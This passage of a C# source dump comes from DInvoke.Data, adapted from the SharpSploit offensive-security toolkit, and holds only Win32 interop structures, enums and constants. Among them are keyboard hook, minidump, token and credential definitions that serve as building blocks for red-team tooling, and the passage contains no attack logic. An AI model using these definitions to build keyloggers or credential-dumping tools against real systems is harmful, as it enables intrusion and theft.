[FieldOffset(0)]
public UInt64 AddressOfData;
}
[StructLayout(LayoutKind.Explicit)]
public struct ApiSetNamespace
{
[FieldOffset(0x0C)]
public int Count;
[FieldOffset(0x10)]
public int EntryOffset;
}
[StructLayout(LayoutKind.Explicit, Size = 24)]
public struct ApiSetNamespaceEntry
{
[FieldOffset(0x04)]
public int NameOffset;
[FieldOffset(0x08)]
public int NameLength;
[FieldOffset(0x10)]
public int ValueOffset;
}
[StructLayout(LayoutKind.Explicit)]
public struct ApiSetValueEntry
{
[FieldOffset(0x0C)]
public int ValueOffset;
[FieldOffset(0x10)]
public int ValueCount;
}
[StructLayout(LayoutKind.Sequential)]
public struct LDR_DATA_TABLE_ENTRY
{
public Data.Native.LIST_ENTRY InLoadOrderLinks;
public Data.Native.LIST_ENTRY InMemoryOrderLinks;
public Data.Native.LIST_ENTRY InInitializationOrderLinks;
public IntPtr DllBase;
public IntPtr EntryPoint;
public UInt32 SizeOfImage;
public Data.Native.UNICODE_STRING FullDllName;
public Data.Native.UNICODE_STRING BaseDllName;
}
}//end class
}
================================================
FILE: DInvoke.Data/Win32.cs
================================================
// Author: Ryan Cobb (@cobbr_io)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
namespace DInvoke.Data
{
/// <summary>
/// Win32 is a library of enums and structures for Win32 API functions.
/// </summary>
/// <remarks>
/// A majority of this library is adapted from signatures found at www.pinvoke.net.
/// </remarks>
public static class Win32
{
public static class Kernel32
{
public static uint MEM_COMMIT = 0x1000;
public static uint MEM_RESERVE = 0x2000;
public static uint MEM_RESET = 0x80000;
public static uint MEM_RESET_UNDO = 0x1000000;
public static uint MEM_LARGE_PAGES = 0x20000000;
public static uint MEM_PHYSICAL = 0x400000;
public static uint MEM_TOP_DOWN = 0x100000;
public static uint MEM_WRITE_WATCH = 0x200000;
public static uint MEM_COALESCE_PLACEHOLDERS = 0x1;
public static uint MEM_PRESERVE_PLACEHOLDER = 0x2;
public static uint MEM_DECOMMIT = 0x4000;
public static uint MEM_RELEASE = 0x8000;
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk;
public uint TimeDateStamp;
public uint ForwarderChain;
public uint Name;
public uint FirstThunk;
}
public struct SYSTEM_INFO
{
public ushort wProcessorArchitecture;
public ushort wReserved;
public uint dwPageSize;
public IntPtr lpMinimumApplicationAddress;
public IntPtr lpMaximumApplicationAddress;
public UIntPtr dwActiveProcessorMask;
public uint dwNumberOfProcessors;
public uint dwProcessorType;
public uint dwAllocationGranularity;
public ushort wProcessorLevel;
public ushort wProcessorRevision;
};
public enum Platform
{
x86,
x64,
IA64,
Unknown
}
[Flags]
public enum ProcessAccessFlags : UInt32
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
PROCESS_ALL_ACCESS = 0x001F0FFF,
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_DUP_HANDLE = 0x0040,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
PROCESS_SET_INFORMATION = 0x0200,
PROCESS_SET_QUOTA = 0x0100,
PROCESS_SUSPEND_RESUME = 0x0800,
PROCESS_TERMINATE = 0x0001,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020,
SYNCHRONIZE = 0x00100000
}
[Flags]
public enum FileAccessFlags : UInt32
{
DELETE = 0x10000,
FILE_READ_DATA = 0x1,
FILE_READ_ATTRIBUTES = 0x80,
FILE_READ_EA = 0x8,
READ_CONTROL = 0x20000,
FILE_WRITE_DATA = 0x2,
FILE_WRITE_ATTRIBUTES = 0x100,
FILE_WRITE_EA = 0x10,
FILE_APPEND_DATA = 0x4,
WRITE_DAC = 0x40000,
WRITE_OWNER = 0x80000,
SYNCHRONIZE = 0x100000,
FILE_EXECUTE = 0x20
}
[Flags]
public enum FileShareFlags : UInt32
{
FILE_SHARE_NONE = 0x0,
FILE_SHARE_READ = 0x1,
FILE_SHARE_WRITE = 0x2,
FILE_SHARE_DELETE = 0x4
}
[Flags]
public enum FileOpenFlags : UInt32
{
FILE_DIRECTORY_FILE = 0x1,
FILE_WRITE_THROUGH = 0x2,
FILE_SEQUENTIAL_ONLY = 0x4,
FILE_NO_INTERMEDIATE_BUFFERING = 0x8,
FILE_SYNCHRONOUS_IO_ALERT = 0x10,
FILE_SYNCHRONOUS_IO_NONALERT = 0x20,
FILE_NON_DIRECTORY_FILE = 0x40,
FILE_CREATE_TREE_CONNECTION = 0x80,
FILE_COMPLETE_IF_OPLOCKED = 0x100,
FILE_NO_EA_KNOWLEDGE = 0x200,
FILE_OPEN_FOR_RECOVERY = 0x400,
FILE_RANDOM_ACCESS = 0x800,
FILE_DELETE_ON_CLOSE = 0x1000,
FILE_OPEN_BY_FILE_ID = 0x2000,
FILE_OPEN_FOR_BACKUP_INTENT = 0x4000,
FILE_NO_COMPRESSION = 0x8000
}
[Flags]
public enum StandardRights : uint
{
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
Required = 0x000f0000,
Read = ReadControl,
Write = ReadControl,
Execute = ReadControl,
All = 0x001f0000,
SpecificRightsAll = 0x0000ffff,
AccessSystemSecurity = 0x01000000,
MaximumAllowed = 0x02000000,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000
}
[Flags]
public enum ThreadAccess : uint
{
Terminate = 0x0001,
SuspendResume = 0x0002,
Alert = 0x0004,
GetContext = 0x0008,
SetContext = 0x0010,
SetInformation = 0x0020,
QueryInformation = 0x0040,
SetThreadToken = 0x0080,
Impersonate = 0x0100,
DirectImpersonation = 0x0200,
SetLimitedInformation = 0x0400,
QueryLimitedInformation = 0x0800,
All = StandardRights.Required | StandardRights.Synchronize | 0x3ff
}
}
public static class User32
{
public static int WH_KEYBOARD_LL { get; } = 13;
public static int WM_KEYDOWN { get; } = 0x0100;
public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
}
public static class Netapi32
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_USERS_INFO_0
{
[MarshalAs(UnmanagedType.LPWStr)] internal string name;
}
[StructLayout(LayoutKind.Sequential)]
public struct LOCALGROUP_USERS_INFO_1
{
[MarshalAs(UnmanagedType.LPWStr)] public string name;
[MarshalAs(UnmanagedType.LPWStr)] public string comment;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_MEMBERS_INFO_2
{
public IntPtr lgrmi2_sid;
public int lgrmi2_sidusage;
[MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct WKSTA_USER_INFO_1
{
public string wkui1_username;
public string wkui1_logon_domain;
public string wkui1_oth_domains;
public string wkui1_logon_server;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SESSION_INFO_10
{
public string sesi10_cname;
public string sesi10_username;
public int sesi10_time;
public int sesi10_idle_time;
}
public enum SID_NAME_USE : UInt16
{
SidTypeUser = 1,
SidTypeGroup = 2,
SidTypeDomain = 3,
SidTypeAlias = 4,
SidTypeWellKnownGroup = 5,
SidTypeDeletedAccount = 6,
SidTypeInvalid = 7,
SidTypeUnknown = 8,
SidTypeComputer = 9
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SHARE_INFO_1
{
public string shi1_netname;
public uint shi1_type;
public string shi1_remark;
public SHARE_INFO_1(string netname, uint type, string remark)
{
this.shi1_netname = netname;
this.shi1_type = type;
this.shi1_remark = remark;
}
}
}
public static class Advapi32
{
// http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
public const UInt32 TOKEN_DUPLICATE = 0x0002;
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
public const UInt32 TOKEN_QUERY = 0x0008;
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID);
public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx
[Flags]
public enum CREATION_FLAGS : uint
{
NONE = 0x00000000,
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000
}
[Flags]
public enum LOGON_FLAGS
{
NONE = 0x00000000,
LOGON_WITH_PROFILE = 0x00000001,
LOGON_NETCREDENTIALS_ONLY = 0x00000002
}
public enum LOGON_TYPE
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK,
LOGON32_LOGON_BATCH,
LOGON32_LOGON_SERVICE,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT,
LOGON32_LOGON_NEW_CREDENTIALS
}
public enum LOGON_PROVIDER
{
LOGON32_PROVIDER_DEFAULT,
LOGON32_PROVIDER_WINNT35,
LOGON32_PROVIDER_WINNT40,
LOGON32_PROVIDER_WINNT50
}
[Flags]
public enum SCM_ACCESS : uint
{
SC_MANAGER_CONNECT = 0x00001,
SC_MANAGER_CREATE_SERVICE = 0x00002,
SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
SC_MANAGER_LOCK = 0x00008,
SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
SC_MANAGER_CONNECT |
SC_MANAGER_CREATE_SERVICE |
SC_MANAGER_ENUMERATE_SERVICE |
SC_MANAGER_LOCK |
SC_MANAGER_QUERY_LOCK_STATUS |
SC_MANAGER_MODIFY_BOOT_CONFIG,
GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
SC_MANAGER_ENUMERATE_SERVICE |
SC_MANAGER_QUERY_LOCK_STATUS,
GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
SC_MANAGER_CREATE_SERVICE |
SC_MANAGER_MODIFY_BOOT_CONFIG,
GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
SC_MANAGER_CONNECT | SC_MANAGER_LOCK,
GENERIC_ALL = SC_MANAGER_ALL_ACCESS,
}
[Flags]
public enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL_ACCESS = 0x0000037F
}
[Flags]
public enum SERVICE_ACCESS : uint
{
SERVICE_QUERY_CONFIG = 0x00001,
SERVICE_CHANGE_CONFIG = 0x00002,
SERVICE_QUERY_STATUS = 0x00004,
SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
SERVICE_START = 0x00010,
SERVICE_STOP = 0x00020,
SERVICE_PAUSE_CONTINUE = 0x00040,
SERVICE_INTERROGATE = 0x00080,
SERVICE_USER_DEFINED_CONTROL = 0x00100,
SERVICE_ALL_ACCESS = (ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
SERVICE_QUERY_CONFIG |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_INTERROGATE |
SERVICE_USER_DEFINED_CONTROL),
GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
SERVICE_QUERY_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_INTERROGATE |
SERVICE_ENUMERATE_DEPENDENTS,
GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
SERVICE_CHANGE_CONFIG,
GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_USER_DEFINED_CONTROL,
ACCESS_SYSTEM_SECURITY = ACCESS_MASK.ACCESS_SYSTEM_SECURITY,
DELETE = ACCESS_MASK.DELETE,
READ_CONTROL = ACCESS_MASK.READ_CONTROL,
WRITE_DAC = ACCESS_MASK.WRITE_DAC,
WRITE_OWNER = ACCESS_MASK.WRITE_OWNER,
}
[Flags]
public enum SERVICE_TYPE : uint
{
SERVICE_KERNEL_DRIVER = 0x00000001,
SERVICE_FILE_SYSTEM_DRIVER = 0x00000002,
SERVICE_WIN32_OWN_PROCESS = 0x00000010,
SERVICE_WIN32_SHARE_PROCESS = 0x00000020,
SERVICE_INTERACTIVE_PROCESS = 0x00000100,
}
public enum SERVICE_START : uint
{
SERVICE_BOOT_START = 0x00000000,
SERVICE_SYSTEM_START = 0x00000001,
SERVICE_AUTO_START = 0x00000002,
SERVICE_DEMAND_START = 0x00000003,
SERVICE_DISABLED = 0x00000004,
}
public enum SERVICE_ERROR
{
SERVICE_ERROR_IGNORE = 0x00000000,
SERVICE_ERROR_NORMAL = 0x00000001,
SERVICE_ERROR_SEVERE = 0x00000002,
SERVICE_ERROR_CRITICAL = 0x00000003,
}
}
public static class Dbghelp
{
public enum MINIDUMP_TYPE
{
MiniDumpNormal = 0x00000000,
MiniDumpWithDataSegs = 0x00000001,
MiniDumpWithFullMemory = 0x00000002,
MiniDumpWithHandleData = 0x00000004,
MiniDumpFilterMemory = 0x00000008,
MiniDumpScanMemory = 0x00000010,
MiniDumpWithUnloadedModules = 0x00000020,
MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
MiniDumpFilterModulePaths = 0x00000080,
MiniDumpWithProcessThreadData = 0x00000100,
MiniDumpWithPrivateReadWriteMemory = 0x00000200,
MiniDumpWithoutOptionalData = 0x00000400,
MiniDumpWithFullMemoryInfo = 0x00000800,
MiniDumpWithThreadInfo = 0x00001000,
MiniDumpWithCodeSegs = 0x00002000,
MiniDumpWithoutAuxiliaryState = 0x00004000,
MiniDumpWithFullAuxiliaryState = 0x00008000,
MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
MiniDumpIgnoreInaccessibleMemory = 0x00020000,
MiniDumpWithTokenInformation = 0x00040000,
MiniDumpWithModuleHeaders = 0x00080000,
MiniDumpFilterTriage = 0x00100000,
MiniDumpValidTypeFlags = 0x001fffff
}
}
public class WinBase
{
[StructLayout(LayoutKind.Sequential)]
public struct _SYSTEM_INFO
{
public UInt16 wProcessorArchitecture;
public UInt16 wReserved;
public UInt32 dwPageSize;
public IntPtr lpMinimumApplicationAddress;
public IntPtr lpMaximumApplicationAddress;
public IntPtr dwActiveProcessorMask;
public UInt32 dwNumberOfProcessors;
public UInt32 dwProcessorType;
public UInt32 dwAllocationGranularity;
public UInt16 wProcessorLevel;
public UInt16 wProcessorRevision;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SECURITY_ATTRIBUTES
{
UInt32 nLength;
IntPtr lpSecurityDescriptor;
Boolean bInheritHandle;
};
}
public class WinNT
{
public const UInt32 PAGE_NOACCESS = 0x01;
public const UInt32 PAGE_READONLY = 0x02;
public const UInt32 PAGE_READWRITE = 0x04;
public const UInt32 PAGE_WRITECOPY = 0x08;
public const UInt32 PAGE_EXECUTE = 0x10;
public const UInt32 PAGE_EXECUTE_READ = 0x20;
public const UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80;
public const UInt32 PAGE_GUARD = 0x100;
public const UInt32 PAGE_NOCACHE = 0x200;
public const UInt32 PAGE_WRITECOMBINE = 0x400;
public const UInt32 PAGE_TARGETS_INVALID = 0x40000000;
public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000;
public const UInt32 SEC_COMMIT = 0x08000000;
public const UInt32 SEC_IMAGE = 0x1000000;
public const UInt32 SEC_IMAGE_NO_EXECUTE = 0x11000000;
public const UInt32 SEC_LARGE_PAGES = 0x80000000;
public const UInt32 SEC_NOCACHE = 0x10000000;
public const UInt32 SEC_RESERVE = 0x4000000;
public const UInt32 SEC_WRITECOMBINE = 0x40000000;
public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1;
public const UInt32 SE_PRIVILEGE_REMOVED = 0x4;
public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3;
public const UInt64 SE_GROUP_ENABLED = 0x00000004L;
public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L;
public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L;
public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020;
public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L;
public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L;
public const UInt64 SE_GROUP_MANDATORY = 0x00000001L;
public const UInt64 SE_GROUP_OWNER = 0x00000008L;
public const UInt64 SE_GROUP_RESOURCE = 0x20000000L;
public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L;
public enum _SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum _TOKEN_ELEVATION_TYPE
{
TokenElevationTypeDefault = 1,
TokenElevationTypeFull,
TokenElevationTypeLimited
}
[StructLayout(LayoutKind.Sequential)]
public struct _MEMORY_BASIC_INFORMATION32
{
public UInt32 BaseAddress;
public UInt32 AllocationBase;
public UInt32 AllocationProtect;
public UInt32 RegionSize;
public UInt32 State;
public UInt32 Protect;
public UInt32 Type;
}
[StructLayout(LayoutKind.Sequential)]
public struct _MEMORY_BASIC_INFORMATION64
{
public UInt64 BaseAddress;
public UInt64 AllocationBase;
public UInt32 AllocationProtect;
public UInt32 __alignment1;
public UInt64 RegionSize;
public UInt32 State;
public UInt32 Protect;
public UInt32 Type;
public UInt32 __alignment2;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LUID_AND_ATTRIBUTES
{
public _LUID Luid;
public UInt32 Attributes;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LUID
{
public UInt32 LowPart;
public UInt32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_STATISTICS
{
public _LUID TokenId;
public _LUID AuthenticationId;
public UInt64 ExpirationTime;
public TOKEN_TYPE TokenType;
public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
public UInt32 DynamicCharged;
public UInt32 DynamicAvailable;
public UInt32 GroupCount;
public UInt32 PrivilegeCount;
public _LUID ModifiedId;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
public _LUID_AND_ATTRIBUTES Privileges;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_MANDATORY_LABEL
{
public _SID_AND_ATTRIBUTES Label;
}
public struct _SID
{
public byte Revision;
public byte SubAuthorityCount;
public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public ulong[] SubAuthority;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_IDENTIFIER_AUTHORITY
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)]
public byte[] Value;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public UInt32 Attributes;
}
[StructLayout(LayoutKind.Sequential)]
public struct _PRIVILEGE_SET
{
public UInt32 PrivilegeCount;
public UInt32 Control;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public _LUID_AND_ATTRIBUTES[] Privilege;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
public enum _SID_NAME_USE
{
SidTypeUser = 1,
SidTypeGroup,
SidTypeDomain,
SidTypeAlias,
SidTypeWellKnownGroup,
SidTypeDeletedAccount,
SidTypeInvalid,
SidTypeUnknown,
SidTypeComputer,
SidTypeLabel
}
public enum _TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
TokenIsAppContainer,
TokenCapabilities,
TokenAppContainerSid,
TokenAppContainerNumber,
TokenUserClaimAttributes,
TokenDeviceClaimAttributes,
TokenRestrictedUserClaimAttributes,
TokenRestrictedDeviceClaimAttributes,
TokenDeviceGroups,
TokenRestrictedDeviceGroups,
TokenSecurityAttributes,
TokenIsRestricted,
MaxTokenInfoClass
}
// http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK
[Flags]
public enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL_ACCESS = 0x0000037F,
SECTION_ALL_ACCESS = 0x10000000,
SECTION_QUERY = 0x0001,
SECTION_MAP_WRITE = 0x0002,
SECTION_MAP_READ = 0x0004,
SECTION_MAP_EXECUTE = 0x0008,
SECTION_EXTEND_SIZE = 0x0010
};
}
public class ProcessThreadsAPI
{
[Flags]
internal enum STARTF : uint
{
STARTF_USESHOWWINDOW = 0x00000001,
STARTF_USESIZE = 0x00000002,
STARTF_USEPOSITION = 0x00000004,
STARTF_USECOUNTCHARS = 0x00000008,
STARTF_USEFILLATTRIBUTE = 0x00000010,
STARTF_RUNFULLSCREEN = 0x00000020,
STARTF_FORCEONFEEDBACK = 0x00000040,
STARTF_FORCEOFFFEEDBACK = 0x00000080,
STARTF_USESTDHANDLES = 0x00000100,
}
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
[StructLayout(LayoutKind.Sequential)]
public struct _STARTUPINFO
{
public UInt32 cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public UInt32 dwX;
public UInt32 dwY;
public UInt32 dwXSize;
public UInt32 dwYSize;
public UInt32 dwXCountChars;
public UInt32 dwYCountChars;
public UInt32 dwFillAttribute;
public UInt32 dwFlags;
public UInt16 wShowWindow;
public UInt16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
};
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
[StructLayout(LayoutKind.Sequential)]
public struct _STARTUPINFOEX
{
_STARTUPINFO StartupInfo;
// PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
};
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public UInt32 dwProcessId;
public UInt32 dwThreadId;
};
}
public class WinCred
{
#pragma warning disable 0618
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct _CREDENTIAL
{
public CRED_FLAGS Flags;
public UInt32 Type;
public IntPtr TargetName;
public IntPtr Comment;
public FILETIME LastWritten;
public UInt32 CredentialBlobSize;
public UInt32 Persist;
public UInt32 AttributeCount;
public IntPtr Attributes;
public IntPtr TargetAlias;
public IntPtr UserName;
}
#pragma warning restore 0618
public enum CRED_FLAGS : uint
{
NONE = 0x0,
